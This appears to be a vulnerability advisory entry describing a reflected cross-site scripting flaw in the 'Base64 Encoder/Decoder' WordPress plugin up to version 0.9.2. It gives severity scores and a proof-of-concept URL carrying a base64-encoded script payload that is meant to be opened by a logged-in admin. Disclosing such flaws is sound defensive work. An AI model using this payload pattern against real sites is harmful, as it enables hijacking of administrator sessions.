Base64 Encoder/Decoder <= 0.9.2 - Reflected XSS

2024-04-2400:00:00

Francisco Spínola

wpscan.com

plugin

parameter sanitization

reflected xss

cross-site scripting

admin

update

software

5.8 Medium

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

21.6%

JSON

Description The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

PoC

Make a logged in admin open the URL below https://example.com/wp-content/plugins/base64-encoderdecoder/base64-decode.php?string=PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==